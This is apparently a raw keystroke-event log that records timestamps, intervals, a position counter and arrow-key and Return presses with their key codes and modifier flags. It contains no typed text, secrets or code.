-19:19:58.4578411:33,1179:10981:Left:Left:37:False:False:False -19:19:58.5326771:74,836:10980:Left:Left:37:False:False:False -19:19:58.5998160:67,1389:10979:Left:Left:37:False:False:False -19:19:58.6636455:63,8295:10978:Left:Left:37:False:False:False -19:19:58.7264770:62,8315:10977:Left:Left:37:False:False:False -19:19:58.7883099:61,8329:10976:Left:Left:37:False:False:False -19:19:58.8471546:58,8447:10975:Left:Left:37:False:False:False -19:19:58.9030080:55,8534:10974:Left:Left:37:False:False:False -19:19:58.9588575:55,8495:10973:Left:Left:37:False:False:False -19:19:59.0157440:56,8865:10972:Left:Left:37:False:False:False -19:19:59.0166645:0,9205:10971:Left:Left:37:False:False:False -19:19:59.0715176:54,8531:10970:Left:Left:37:False:False:False -19:19:59.1227169:51,1993:10969:Left:Left:37:False:False:False -19:19:59.1735807:50,8638:10968:Left:Left:37:False:False:False -19:19:59.2224501:48,8694:10967:Left:Left:37:False:False:False -19:19:59.2723178:49,8677:10966:Left:Left:37:False:False:False -19:19:59.3222196:49,9018:10965:Left:Left:37:False:False:False -19:19:59.3720515:49,8319:10964:Left:Left:37:False:False:False -19:19:59.4169300:44,8785:10963:Left:Left:37:False:False:False -19:19:59.4608124:43,8824:10962:Left:Left:37:False:False:False -19:19:59.5007058:39,8934:10961:Left:Left:37:False:False:False -19:19:59.5438164:43,1106:10960:Left:Left:37:False:False:False -19:19:59.5817150:37,8986:10959:Left:Left:37:False:False:False -19:19:59.6176189:35,9039:10958:Left:Left:37:False:False:False -19:19:59.6575133:39,8944:10957:Left:Left:37:False:False:False -19:19:59.6914216:33,9083:10956:Left:Left:37:False:False:False -19:19:59.7213415:29,9199:10955:Left:Left:37:False:False:False -19:19:59.7512616:29,9201:10954:Left:Left:37:False:False:False -19:19:59.7791869:27,9253:10953:Left:Left:37:False:False:False -19:19:59.8051176:25,9307:10952:Left:Left:37:False:False:False -19:19:59.8570518:51,9342:10951:Left:Left:37:False:False:False -19:19:59.9293544:72,3026:10950:Left:Left:37:False:False:False -19:19:59.9947173:65,3629:10949:Left:Left:37:False:False:False -19:20:00.0655278:70,8105:10948:Left:Left:37:False:False:False -19:20:00.0684833:2,9555:10947:Left:Left:37:False:False:False -19:20:00.1333104:64,8271:10946:Left:Left:37:False:False:False -19:20:00.1333104:0:10945:Left:Left:37:False:False:False -19:20:00.1942013:60,8909:10944:Left:Left:37:False:False:False -19:20:00.2599711:65,7698:10943:Left:Left:37:False:False:False -19:20:00.3148709:54,8998:10942:Left:Left:37:False:False:False -19:20:00.3707991:55,9282:10941:Left:Left:37:False:False:False -19:20:00.4236517:52,8526:10940:Left:Left:37:False:False:False -19:20:00.4755087:51,857:10939:Left:Left:37:False:False:False -19:20:00.5303630:54,8543:10938:Left:Left:37:False:False:False -19:20:00.5762435:45,8805:10937:Left:Left:37:False:False:False -19:20:00.6450560:68,8125:10936:Left:Left:37:False:False:False -19:20:00.6909344:45,8784:10935:Left:Left:37:False:False:False -19:20:00.6919009:0,9665:10934:Left:Left:37:False:False:False -19:20:00.7338179:41,917:10933:Left:Left:37:False:False:False -19:20:00.7776644:43,8465:10932:Left:Left:37:False:False:False -19:20:00.8205961:42,9317:10931:Left:Left:37:False:False:False -19:20:00.8634359:42,8398:10930:Left:Left:37:False:False:False -19:20:00.8993849:35,949:10929:Left:Left:37:False:False:False -19:20:00.9342469:34,862:10928:Left:Left:37:False:False:False -19:20:00.9671586:32,9117:10927:Left:Left:37:False:False:False -19:20:01.0010665:33,9079:10926:Left:Left:37:False:False:False -19:20:01.5572742:556,2077:10925:Return:Return:13:False:False:False -19:20:11.8754827:10317,2169:11367:Right:Right:39:False:False:False -19:20:12.3720723:495,8252:11372:Right:Right:39:False:False:False -19:20:12.4172821:45,2098:11373:Right:Right:39:False:False:False -19:20:12.4390723:21,7902:11373:Right:Right:39:False:False:False -19:20:12.4863959:47,3236:11374:Right:Right:39:False:False:False -19:20:12.5048565:18,4606:11374:Right:Right:39:False:False:False -19:20:12.5365307:31,6742:11374:Right:Right:39:False:False:False -19:20:12.5705438:34,0131:11374:Right:Right:39:False:False:False -19:20:12.6029731:32,4293:11374:Right:Right:39:False:False:False -19:20:12.6701567:66,7764:11375:Right:Right:39:False:False:False -19:20:12.7065794:36,4227:11376:Right:Right:39:False:False:False -19:20:12.7334089:26,8295:11376:Right:Right:39:False:False:False -19:20:12.7962186:62,8097:11377:Right:Right:39:False:False:False -19:20:12.8016170:5,3984:11377:Right:Right:39:False:False:False -19:20:12.8329261:31,3091:11377:Right:Right:39:False:False:False -19:20:12.8655175:32,5914:11377:Right:Right:39:False:False:False -19:20:12.9459197:80,4022:11378:Right:Right:39:False:False:False -19:20:12.9638337:17,0866:11378:Right:Right:39:False:False:False -19:20:12.9966655:32,8318:11378:Right:Right:39:False:False:False -19:20:13.0484979:51,8324:11379:Right:Right:39:False:False:False -19:20:13.0636195:14,3248:11379:Right:Right:39:False:False:False -19:20:13.0961411:32,5216:11379:Right:Right:39:False:False:False -19:20:13.1422333:46,0922:11380:Right:Right:39:False:False:False -19:20:13.1622040:19,9707:11380:Right:Right:39:False:False:False -19:20:13.1937342:31,5302:11380:Right:Right:39:False:False:False -19:20:13.2513918:57,6576:11381:Right:Right:39:False:False:False -19:20:13.2609856:9,5938:11381:Right:Right:39:False:False:False -19:20:13.3347700:73,7844:11382:Right:Right:39:False:False:False -19:20:13.3590747:24,3047:11382:Right:Right:39:False:False:False -19:20:13.3908747:31,8:11382:Right:Right:39:False:False:False -19:20:13.7007419:309,8672:11385:Right:Right:39:False:False:False -19:20:14.6209658:920,2239:11395:Return:Return:13:False:False:False -19:20:14.7042488:83,283:11395:Return:Return:13:False:False:False -19:20:16.0139666:1309,7178:11409:Return:Return:13:False:False:False -19:20:17.5369784:1523,0118:11409:Right:Right:39:False:False:False -19:20:17.7748624:237,884:11410:Right:Right:39:False:False:False -19:20:18.2734388:498,5764:11411:Right:Right:39:False:False:False -19:20:18.3478008:73,8029:11412:Right:Right:39:False:False:False -19:20:18.3896431:41,8423:11413:Right:Right:39:False:False:False -19:20:18.4375478:47,9047:11414:Right:Right:39:False:False:False -19:20:18.4825126:43,9667:11415:Right:Right:39:False:False:False -19:20:18.5312985:48,7859:11416:Right:Right:39:False:False:False -19:20:18.5781758:46,8773:11417:Right:Right:39:False:False:False -19:20:18.6280411:49,8653:11418:Right:Right:39:False:False:False -19:20:18.6789025:50,8614:11419:Right:Right:39:False:False:False -19:20:18.7347189:55,8164:11420:Right:Right:39:False:False:False -19:20:18.7996638:64,9449:11421:Right:Right:39:False:False:False -19:20:18.8634644:63,8006:11422:Right:Right:39:False:False:False -19:20:18.9272349:63,7705:11423:Right:Right:39:False:False:False -19:20:18.9890750:61,8401:11424:Right:Right:39:False:False:False -19:20:19.0550659:65,9909:11425:Right:Right:39:False:False:False -19:20:19.1227181:67,6522:11426:Right:Right:39:False:False:False -19:20:19.1915322:68,8141:11427:Right:Right:39:False:False:False -19:20:19.2665660:74,0349:11428:Right:Right:39:False:False:False -19:20:19.3587556:92,1896:11429:Right:Right:39:False:False:False -19:20:19.4351151:76,3595:11430:Right:Right:39:False:False:False -19:20:19.4590511:23,936:11431:Right:Right:39:False:False:False -19:20:19.4906779:31,6268:11432:Right:Right:39:False:False:False -19:20:19.5596505:68,37:11433:Right:Right:39:False:False:False -19:20:19.5925612:32,9107:11434:Right:Right:39:False:False:False -19:20:19.6244758:30,9171:11435:Right:Right:39:False:False:False -19:20:19.6526401:28,1643:11436:Right:Right:39:False:False:False -19:20:19.6853132:32,6731:11437:Right:Right:39:False:False:False -19:20:19.7261250:40,8118:11438:Right:Right:39:False:False:False -19:20:19.7640273:37,9023:11439:Right:Right:39:False:False:False -19:20:19.8009230:36,8957:11440:Right:Right:39:False:False:False -19:20:19.8398177:38,8947:11441:Right:Right:39:False:False:False -19:20:19.8767207:36,903:11442:Right:Right:39:False:False:False -19:20:19.9145793:37,8586:11443:Right:Right:39:False:False:False -19:20:19.9535105:38,9312:11444:Right:Right:39:False:False:False -19:20:19.9934040:39,8935:11445:Right:Right:39:False:False:False -19:20:20.0372867:43,8827:11446:Right:Right:39:False:False:False -19:20:20.0839137:46,627:11447:Right:Right:39:False:False:False -19:20:20.1300401:46,1264:11448:Right:Right:39:False:False:False -19:20:20.1778761:47,836:11449:Right:Right:39:False:False:False -19:20:20.2252740:47,3979:11450:Right:Right:39:False:False:False -19:20:20.2726574:47,3834:11451:Right:Right:39:False:False:False -19:20:20.2762648:3,6074:11451:Right:Right:39:False:False:False -19:20:20.3089565:32,6917:11451:Right:Right:39:False:False:False -19:20:20.4121946:103,2381:11452:Right:Right:39:False:False:False -19:20:20.4620562:49,8616:11453:Right:Right:39:False:False:False -19:20:20.4736056:11,5494:11453:Right:Right:39:False:False:False -19:20:20.5065519:32,9463:11453:Right:Right:39:False:False:False -19:20:20.5671771:60,6252:11454:Right:Right:39:False:False:False -19:20:20.5728754:5,6983:11454:Right:Right:39:False:False:False -19:20:20.6057296:32,8542:11454:Right:Right:39:False:False:False -19:20:20.6376712:31,9416:11454:Right:Right:39:False:False:False -19:20:20.6729506:35,2794:11454:Right:Right:39:False:False:False -19:20:20.7938779:120,9273:11455:Right:Right:39:False:False:False -19:20:20.8467364:51,8604:11456:Right:Right:39:False:False:False -19:20:20.8690138:22,2774:11456:Right:Right:39:False:False:False -19:20:20.9476176:78,5189:11457:Right:Right:39:False:False:False -19:20:21.0091307:61,5131:11458:Right:Right:39:False:False:False -19:20:21.0320523:22,9216:11458:Right:Right:39:False:False:False -19:20:21.1045814:72,5291:11459:Right:Right:39:False:False:False -19:20:21.1644112:59,8298:11460:Right:Right:39:False:False:False -19:20:21.1964054:31,9942:11460:Right:Right:39:False:False:False -19:20:21.2294412:33,0358:11460:Right:Right:39:False:False:False -19:20:21.2622694:32,8282:11461:Right:Right:39:False:False:False -19:20:21.2950231:32,7537:11461:Right:Right:39:False:False:False -19:20:21.3275404:32,5173:11461:Right:Right:39:False:False:False -19:20:21.4036557:76,1153:11462:Right:Right:39:False:False:False -19:20:21.4356164:31,9607:11463:Right:Right:39:False:False:False -19:20:21.4597281:24,1117:11463:Right:Right:39:False:False:False -19:20:21.5174915:57,7634:11464:Right:Right:39:False:False:False -19:20:21.5261746:8,6831:11464:Right:Right:39:False:False:False -19:20:21.5587501:32,5755:11464:Right:Right:39:False:False:False -19:20:21.6161321:57,382:11465:Right:Right:39:False:False:False -19:20:21.6235629:7,4308:11465:Right:Right:39:False:False:False -19:20:21.6573503:33,7874:11465:Right:Right:39:False:False:False -19:20:21.6890265:31,6762:11465:Right:Right:39:False:False:False -19:20:21.7225704:33,5439:11465:Right:Right:39:False:False:False -19:20:21.7880069:65,4365:11466:Right:Right:39:False:False:False -19:20:21.8209237:32,9168:11467:Right:Right:39:False:False:False -19:20:21.8532680:32,3443:11467:Right:Right:39:False:False:False -19:20:21.9195165:66,2485:11468:Right:Right:39:False:False:False -19:20:21.9542767:34,7602:11468:Right:Right:39:False:False:False -19:20:21.9874591:33,1824:11468:Right:Right:39:False:False:False -19:20:22.0812856:93,8265:11469:Right:Right:39:False:False:False -19:20:22.0835549:2,2693:11469:Right:Right:39:False:False:False -19:20:22.1169192:33,3643:11469:Right:Right:39:False:False:False -19:20:22.1978013:80,5808:11470:Right:Right:39:False:False:False -19:20:22.2346961:36,8948:11471:Right:Right:39:False:False:False -19:20:22.2475953:12,8992:11471:Right:Right:39:False:False:False -19:20:22.3070318:59,4365:11472:Right:Right:39:False:False:False -19:20:22.3130647:6,0329:11472:Right:Right:39:False:False:False -19:20:22.3472084:34,1437:11472:Right:Right:39:False:False:False -19:20:22.4148679:66,701:11473:Right:Right:39:False:False:False -19:20:22.4450655:30,1976:11473:Right:Right:39:False:False:False -19:20:22.4801730:35,1075:11473:Right:Right:39:False:False:False -19:20:25.7232549:3243,0819:11473:Return:Return:13:False:False:False -19:32:40.7688560:448411,8566:1315:Return:Return:13:False:False:False -19:32:45.6496594:4880,8034:1315:Return:Return:13:False:False:False -19:32:48.6622424:3012,583:1575:Return:Return:13:False:False:False -19:32:54.7832698:6121,0274:1575:Right:Right:39:False:False:False -19:32:55.0701758:286,906:1576:Right:Right:39:False:False:False -19:32:56.5213913:1451,2155:1577:Up:Up:38:False:False:False -19:32:56.6705073:148,6754:1582:Up:Up:38:False:False:False -19:32:56.8201712:149,6639:1587:Up:Up:38:False:False:False -19:32:56.9717819:151,6107:1592:Up:Up:38:False:False:False -19:32:57.1180649:146,283:1597:Up:Up:38:False:False:False -19:32:57.6082726:490,2077:1602:Down:Down:40:False:False:False -19:32:57.6175240:9,2514:1597:Up:Up:38:False:False:False -19:32:57.9932694:375,7454:1602:Up:Up:38:False:False:False -19:32:58.2017961:207,5253:1607:Up:Up:38:False:False:False -19:32:58.4013447:199,5486:1612:Up:Up:38:False:False:False -19:32:58.8629076:461,5629:1617:Up:Up:38:False:False:False -19:32:59.0241823:161,2747:1622:Up:Up:38:False:False:False -19:32:59.1716837:147,5014:1627:Up:Up:38:False:False:False -19:32:59.3231709:150,7222:1632:Up:Up:38:False:False:False -19:32:59.9778075:654,6366:1637:Up:Up:38:False:False:False -19:33:00.4664251:488,6176:1642:Up:Up:38:False:False:False -19:33:00.6549785:187,9734:1647:Up:Up:38:False:False:False -19:33:01.2212876:566,3091:1652:Up:Up:38:False:False:False -19:33:02.2309332:1008,6002:1657:Up:Up:38:False:False:False -19:33:02.7732483:542,3151:1662:Up:Up:38:False:False:False -19:33:03.1962589:422,0089:1667:Up:Up:38:False:False:False -19:33:03.4045810:207,6625:1672:Up:Up:38:False:False:False -19:33:03.5952340:190,653:1677:Up:Up:38:False:False:False -19:33:04.4477765:852,5425:1682:Left:Left:37:False:False:False -19:33:04.9822472:534,4707:1681:Left:Left:37:False:False:False -19:33:05.7107286:728,4814:1680:Left:Left:37:False:False:False -19:33:06.4988948:788,1662:1679:Left:Left:37:False:False:False -19:33:07.2716590:772,0123:1678:Left:Left:37:False:False:False -19:33:08.0833679:810,7703:1677:Right:Right:39:False:False:False -19:33:08.2454038:160,8659:1678:Right:Right:39:False:False:False -19:33:08.5470239:301,6201:1679:Right:Right:39:False:False:False -19:33:08.7858703:238,8464:1680:Right:Right:39:False:False:False -19:33:08.9324951:146,6248:1681:Right:Right:39:False:False:False -19:33:09.2358193:303,3242:1682:Right:Right:39:False:False:False -19:33:09.4707087:233,863:1683:Right:Right:39:False:False:False -19:33:09.6337325:163,0238:1684:Right:Right:39:False:False:False -19:33:09.8510540:217,3215:1685:Right:Right:39:False:False:False -19:33:10.7141086:863,0546:1686:Left:Left:37:False:False:False -19:33:10.9052200:190,183:1685:Left:Left:37:False:False:False -19:33:11.0706695:165,3208:1684:Left:Left:37:False:False:False -19:33:11.2300111:159,3416:1683:Left:Left:37:False:False:False -19:33:11.4009230:170,9119:1682:Left:Left:37:False:False:False -19:33:11.5710597:170,1367:1681:Left:Left:37:False:False:False -19:33:12.7786177:1207,558:1680:Return:Return:13:False:False:False -19:33:46.9475465:34167,8127:3151:Return:Return:13:False:False:False -19:33:55.9353043:8987,7578:3151:Up:Up:38:False:False:False -19:33:56.4645663:528,2561:3156:Up:Up:38:False:False:False -19:33:56.6761476:211,5813:3161:Up:Up:38:False:False:False -19:33:56.9755674:299,4198:3166:Up:Up:38:False:False:False -19:33:57.3441396:368,5722:3171:Right:Right:39:False:False:False -19:33:57.5740219:229,8823:3172:Right:Right:39:False:False:False -19:33:57.8727421:298,7202:3173:Right:Right:39:False:False:False -19:33:58.1561216:283,3795:3174:Right:Right:39:False:False:False -19:33:58.6544163:497,2966:3175:Right:Right:39:False:False:False -19:33:58.8405593:186,143:3176:Right:Right:39:False:False:False -19:33:59.0770121:236,4528:3177:Right:Right:39:False:False:False -19:33:59.2854060:208,3939:3178:Right:Right:39:False:False:False -19:33:59.4524779:167,0719:3179:Right:Right:39:False:False:False -19:33:59.6431756:190,6977:3180:Right:Right:39:False:False:False -19:33:59.7887068:145,5312:3181:Right:Right:39:False:False:False -19:33:59.9394139:150,2474:3182:Right:Right:39:False:False:False -19:34:00.0918693:151,8572:3183:Right:Right:39:False:False:False -19:34:00.2399134:148,0441:3184:Right:Right:39:False:False:False -19:34:00.3962065:156,2931:3185:Right:Right:39:False:False:False -19:34:00.8939958:497,7893:3186:Right:Right:39:False:False:False -19:34:00.9778209:82,7737:3187:Right:Right:39:False:False:False -19:34:01.0804860:102,6651:3188:Right:Right:39:False:False:False -19:34:01.2565334:176,0474:3189:Right:Right:39:False:False:False -19:34:01.8184666:561,9332:3190:Right:Right:39:False:False:False -19:34:02.3541770:535,6075:3191:Right:Right:39:False:False:False -19:34:03.0206875:666,5105:3192:Right:Right:39:False:False:False -19:34:03.7014452:680,7577:3193:Right:Right:39:False:False:False -19:34:04.6721801:970,7349:3194:Right:Right:39:False:False:False -19:34:05.3563159:683,1058:3195:Right:Right:39:False:False:False -19:34:05.9690486:612,7327:3196:Right:Right:39:False:False:False -19:34:06.5728511:603,8025:3197:Right:Right:39:False:False:False -19:34:07.1174375:544,5864:3198:Right:Right:39:False:False:False -19:34:07.5564975:439,06:3199:Right:Right:39:False:False:False -19:34:07.9513182:394,3487:3200:Right:Right:39:False:False:False -19:34:08.1443702:193,052:3201:Right:Right:39:False:False:False -19:34:08.3189637:174,5935:3202:Right:Right:39:False:False:False -19:34:08.7091068:390,1431:3203:Right:Right:39:False:False:False -19:34:08.9515287:241,3699:3204:Right:Right:39:False:False:False -19:34:09.1521954:200,6667:3205:Right:Right:39:False:False:False -19:34:09.3225659:170,3705:3206:Right:Right:39:False:False:False -19:34:09.4790595:156,4936:3207:Right:Right:39:False:False:False -19:34:09.6361845:157,0479:3208:Right:Right:39:False:False:False -19:34:09.8413722:204,2752:3209:Right:Right:39:False:False:False -19:34:10.0145575:173,1853:3210:Right:Right:39:False:False:False -19:34:10.4114050:396,8475:3211:Right:Right:39:False:False:False -19:34:10.7774457:366,0407:3212:Right:Right:39:False:False:False -19:34:10.9902548:212,8091:3213:Right:Right:39:False:False:False -19:34:11.1599010:166,6277:3214:Right:Right:39:False:False:False -19:34:11.3434372:183,5362:3215:Right:Right:39:False:False:False -19:34:11.5230864:178,6621:3216:Right:Right:39:False:False:False -19:34:11.7068895:183,8031:3217:Right:Right:39:False:False:False -19:34:12.2241835:517,294:3218:Right:Right:39:False:False:False -19:34:12.4277571:203,5736:3219:Right:Right:39:False:False:False -19:34:12.9262099:497,4088:3220:Right:Right:39:False:False:False -19:34:13.0237110:97,5011:3221:Right:Right:39:False:False:False -19:34:13.1152013:91,4903:3222:Right:Right:39:False:False:False -19:34:13.2000127:84,8114:3223:Right:Right:39:False:False:False -19:34:13.2857455:85,7328:3224:Right:Right:39:False:False:False -19:34:13.2867762:1,0307:3225:Right:Right:39:False:False:False -19:34:13.3765383:89,7621:3226:Right:Right:39:False:False:False -19:34:13.4802565:102,7177:3227:Right:Right:39:False:False:False -19:34:13.5839517:103,6952:3228:Right:Right:39:False:False:False -19:34:13.6916971:107,7454:3229:Right:Right:39:False:False:False -19:34:13.8262993:133,6033:3230:Right:Right:39:False:False:False -19:34:13.9430344:116,7351:3231:Right:Right:39:False:False:False -19:34:13.9440314:0,997:3232:Right:Right:39:False:False:False -19:34:14.0813244:137,293:3233:Right:Right:39:False:False:False -19:34:14.2189652:137,6408:3234:Right:Right:39:False:False:False -19:34:14.3634081:144,4429:3235:Right:Right:39:False:False:False -19:34:14.5181533:154,7452:3236:Right:Right:39:False:False:False -19:34:14.6725725:153,6088:3237:Right:Right:39:False:False:False -19:34:15.0504650:377,8925:3238:Right:Right:39:False:False:False -19:34:15.2419644:190,4793:3239:Right:Right:39:False:False:False -19:34:15.4095602:166,609:3240:Right:Right:39:False:False:False -19:34:15.4117356:2,1754:3241:Right:Right:39:False:False:False -19:34:15.4484579:36,7223:3242:Right:Right:39:False:False:False -19:34:15.4903760:41,9181:3243:Right:Right:39:False:False:False -19:34:15.5432898:51,921:3244:Right:Right:39:False:False:False -19:34:15.5960618:52,772:3245:Right:Right:39:False:False:False -19:34:15.6539529:57,8911:3246:Right:Right:39:False:False:False -19:34:15.7147847:60,8318:3247:Right:Right:39:False:False:False -19:34:15.7942299:79,4452:3248:Right:Right:39:False:False:False -19:34:15.8669984:72,7685:3249:Right:Right:39:False:False:False -19:34:15.9498218:82,8234:3250:Right:Right:39:False:False:False -19:34:16.0305962:80,7744:3251:Right:Right:39:False:False:False -19:34:16.1074773:76,8811:3252:Right:Right:39:False:False:False -19:34:16.2581132:150,6359:3253:Right:Right:39:False:False:False -19:34:16.7570187:498,9055:3254:Right:Right:39:False:False:False -19:34:16.8827678:126,6279:3255:Right:Right:39:False:False:False -19:34:16.9734434:89,7968:3256:Right:Right:39:False:False:False -19:34:17.0661836:92,7402:3257:Right:Right:39:False:False:False -19:34:17.1589107:92,7271:3258:Right:Right:39:False:False:False -19:34:17.2557130:95,8051:3259:Right:Right:39:False:False:False -19:34:17.3513976:95,6846:3260:Right:Right:39:False:False:False -19:34:17.4552882:103,8906:3261:Right:Right:39:False:False:False -19:34:17.5618341:106,5459:3262:Right:Right:39:False:False:False -19:34:17.6645907:102,7566:3263:Right:Right:39:False:False:False -19:34:17.7844182:119,8275:3264:Right:Right:39:False:False:False -19:34:18.2666526:482,2344:3265:Right:Right:39:False:False:False -19:34:18.4172489:150,5963:3266:Right:Right:39:False:False:False -19:34:18.5309806:113,7317:3267:Right:Right:39:False:False:False -19:34:18.6518338:120,8532:3268:Right:Right:39:False:False:False -19:34:18.7732971:121,4633:3269:Right:Right:39:False:False:False -19:34:18.9099302:136,0597:3270:Right:Right:39:False:False:False -19:34:18.9384011:28,4709:3271:Right:Right:39:False:False:False -19:34:18.9703160:31,9149:3272:Right:Right:39:False:False:False -19:34:19.0052180:34,902:3273:Right:Right:39:False:False:False -19:34:19.0480713:42,8533:3274:Right:Right:39:False:False:False -19:34:19.0889621:40,8908:3275:Right:Right:39:False:False:False -19:34:19.5270069:438,0448:3276:Left:Left:37:False:False:False -19:34:19.7596346:232,6277:3275:Left:Left:37:False:False:False -19:34:19.8878985:128,2639:3274:Left:Left:37:False:False:False -19:34:20.0251172:137,2187:3273:Left:Left:37:False:False:False -19:34:20.1746146:149,4974:3272:Left:Left:37:False:False:False -19:34:20.8160715:641,4569:3271:Left:Left:37:False:False:False -19:34:20.9836151:167,5436:3270:Left:Left:37:False:False:False -19:34:21.1664400:182,8249:3269:Left:Left:37:False:False:False -19:34:21.8006748:634,2348:3268:Left:Left:37:False:False:False -19:34:22.4438934:643,2186:3267:Right:Right:39:False:False:False -19:34:22.6449136:199,9836:3268:Right:Right:39:False:False:False -19:34:22.8151791:170,2655:3269:Right:Right:39:False:False:False -19:34:23.1468501:331,671:3270:Return:Return:13:False:False:False -19:57:40.7423899:951932,7099:640:Return:Return:13:False:False:False -19:57:41.2527959:510,406:640:Left:Left:37:False:False:False -19:57:41.4938335:241,0376:639:Left:Left:37:False:False:False -19:57:41.9914952:497,6617:638:Left:Left:37:False:False:False -19:57:42.1337958:141,3043:637:Left:Left:37:False:False:False -19:57:42.2282827:94,4869:636:Left:Left:37:False:False:False -19:57:42.3186599:90,3772:635:Left:Left:37:False:False:False -19:57:42.3196586:0,9987:634:Left:Left:37:False:False:False -19:57:42.3870988:67,4402:633:Left:Left:37:False:False:False -19:57:42.4475025:60,4037:632:Left:Left:37:False:False:False -19:57:42.4970167:49,5142:631:Left:Left:37:False:False:False -19:57:42.5173359:20,3192:630:Left:Left:37:False:False:False -19:57:42.5495793:32,2434:629:Left:Left:37:False:False:False -19:57:42.5831849:33,6056:628:Left:Left:37:False:False:False -19:57:42.6151574:31,9725:627:Left:Left:37:False:False:False -19:57:42.6493626:34,2052:626:Left:Left:37:False:False:False -19:57:42.6806755:31,3129:625:Left:Left:37:False:False:False -19:57:42.7156846:35,0091:624:Left:Left:37:False:False:False -19:57:42.7475455:31,8609:623:Left:Left:37:False:False:False -19:57:42.7806683:32,1267:622:Left:Left:37:False:False:False -19:57:42.8126743:32,006:621:Left:Left:37:False:False:False -19:57:42.8450494:31,711:620:Left:Left:37:False:False:False -19:57:42.8781961:33,1467:619:Left:Left:37:False:False:False -19:57:42.9115685:33,5235:618:Left:Left:37:False:False:False -19:57:42.9445539:32,8343:617:Left:Left:37:False:False:False -19:57:42.9768842:31,2836:616:Left:Left:37:False:False:False -19:57:43.0095628:32,6786:615:Left:Left:37:False:False:False -19:57:43.0424886:32,9258:614:Left:Left:37:False:False:False -19:57:43.0766207:34,1321:613:Left:Left:37:False:False:False -19:57:43.1083393:30,7211:612:Left:Left:37:False:False:False -19:57:43.1428249:34,4856:611:Left:Left:37:False:False:False -19:57:43.1787799:35,955:610:Left:Left:37:False:False:False -19:57:43.2066184:27,8385:609:Left:Left:37:False:False:False -19:57:43.2393033:32,6849:608:Left:Left:37:False:False:False -19:57:43.2719664:32,6631:607:Left:Left:37:False:False:False -19:57:43.3052657:33,2993:606:Left:Left:37:False:False:False -19:57:43.3372445:31,9788:605:Left:Left:37:False:False:False -19:57:43.3707359:33,4914:604:Left:Left:37:False:False:False -19:57:43.4049390:34,2031:603:Left:Left:37:False:False:False -19:57:43.4357689:30,4955:602:Left:Left:37:False:False:False -19:57:43.4695591:32,8394:601:Left:Left:37:False:False:False -19:57:43.5021626:32,6035:600:Left:Left:37:False:False:False -19:57:43.5354753:33,3127:599:Left:Left:37:False:False:False -19:57:43.5686618:33,1865:598:Left:Left:37:False:False:False -19:57:43.6018499:33,1881:597:Left:Left:37:False:False:False -19:57:43.6345830:32,7331:596:Left:Left:37:False:False:False -19:57:43.6674918:32,9088:595:Left:Left:37:False:False:False -19:57:43.7013946:33,9028:594:Left:Left:37:False:False:False -19:57:43.7338394:32,4448:593:Left:Left:37:False:False:False -19:57:43.7654142:31,5748:592:Left:Left:37:False:False:False -19:57:43.7986104:32,218:591:Left:Left:37:False:False:False -19:57:43.8377163:39,1059:590:Left:Left:37:False:False:False -19:57:43.8651636:27,4473:589:Left:Left:37:False:False:False -19:57:43.8966520:30,4347:588:Left:Left:37:False:False:False -19:57:43.9321321:34,4298:587:Left:Left:37:False:False:False -19:57:43.9626290:30,4969:586:Left:Left:37:False:False:False -19:57:43.9966097:33,9807:585:Left:Left:37:False:False:False -19:57:44.0308960:34,2863:584:Left:Left:37:False:False:False -19:57:44.0610037:30,1077:583:Left:Left:37:False:False:False -19:57:44.3447121:283,7084:582:Return:Return:13:False:False:False -20:11:39.6534255:835308,7134:149:Return:Return:13:False:False:False -20:11:40.0923705:437,9858:149:Left:Left:37:False:False:False -20:11:40.5901144:497,7439:148:Left:Left:37:False:False:False -20:11:40.7637294:173,0562:147:Left:Left:37:False:False:False -20:11:40.8724724:108,743:146:Left:Left:37:False:False:False -20:11:40.9731877:100,7153:145:Left:Left:37:False:False:False -20:11:41.0709238:97,7361:144:Left:Left:37:False:False:False -20:11:41.1646763:93,7525:143:Left:Left:37:False:False:False -20:11:41.2613783:95,7063:142:Left:Left:37:False:False:False -20:11:41.3531326:91,7543:141:Left:Left:37:False:False:False -20:11:41.4399006:86,768:140:Left:Left:37:False:False:False -20:11:41.5256711:84,7731:139:Left:Left:37:False:False:False -20:11:41.6064552:80,7841:138:Left:Left:37:False:False:False -20:11:41.6084509:1,9957:137:Left:Left:37:False:False:False -20:11:41.6886115:80,1606:136:Left:Left:37:False:False:False -20:11:41.7687642:80,1527:135:Left:Left:37:False:False:False -20:11:41.8537656:85,0014:134:Left:Left:37:False:False:False -20:11:41.9306060:76,8404:133:Left:Left:37:False:False:False -20:11:41.9964214:65,8154:132:Left:Left:37:False:False:False -20:11:42.0622445:65,8231:131:Left:Left:37:False:False:False -20:11:42.1280682:65,8237:130:Left:Left:37:False:False:False -20:11:42.1875138:59,4456:129:Left:Left:37:False:False:False -20:11:42.2467144:59,2006:128:Left:Left:37:False:False:False -20:11:42.3035624:56,848:127:Left:Left:37:False:False:False -20:11:42.3544264:50,864:126:Left:Left:37:False:False:False -20:11:42.4013010:46,8746:125:Left:Left:37:False:False:False -20:11:42.4471784:45,8774:124:Left:Left:37:False:False:False -20:11:42.4890664:41,888:123:Left:Left:37:False:False:False -20:11:42.5289596:39,8932:122:Left:Left:37:False:False:False -20:11:42.5668587:37,8991:121:Left:Left:37:False:False:False -20:11:42.6925221:125,6634:120:Left:Left:37:False:False:False -20:11:42.8095039:116,9818:119:Left:Left:37:False:False:False -20:11:42.9212067:111,7028:118:Left:Left:37:False:False:False -20:11:43.0277307:106,524:117:Left:Left:37:False:False:False -20:11:43.1300102:102,2795:116:Left:Left:37:False:False:False -20:11:43.2324561:102,4459:115:Left:Left:37:False:False:False -20:11:43.3331779:100,7218:114:Left:Left:37:False:False:False -20:11:43.4329122:99,7343:113:Left:Left:37:False:False:False -20:11:43.5306598:97,7476:112:Left:Left:37:False:False:False -20:11:43.6316760:101,0162:111:Left:Left:37:False:False:False -20:11:43.7331073:100,7667:110:Left:Left:37:False:False:False -20:11:43.8208365:87,7292:109:Left:Left:37:False:False:False -20:11:43.9056474:84,8109:108:Left:Left:37:False:False:False -20:11:43.9844387:78,7913:107:Left:Left:37:False:False:False -20:11:44.0673853:82,9466:106:Left:Left:37:False:False:False -20:11:44.1491290:81,7437:105:Left:Left:37:False:False:False -20:11:44.2214608:72,3318:104:Left:Left:37:False:False:False -20:11:44.2910157:69,5549:103:Left:Left:37:False:False:False -20:11:44.3580941:67,0784:102:Left:Left:37:False:False:False -20:11:44.4219835:63,8894:101:Left:Left:37:False:False:False -20:11:44.4828208:60,8373:100:Left:Left:37:False:False:False -20:11:44.5431696:60,3488:99:Left:Left:37:False:False:False -20:11:44.6010136:57,844:98:Left:Left:37:False:False:False 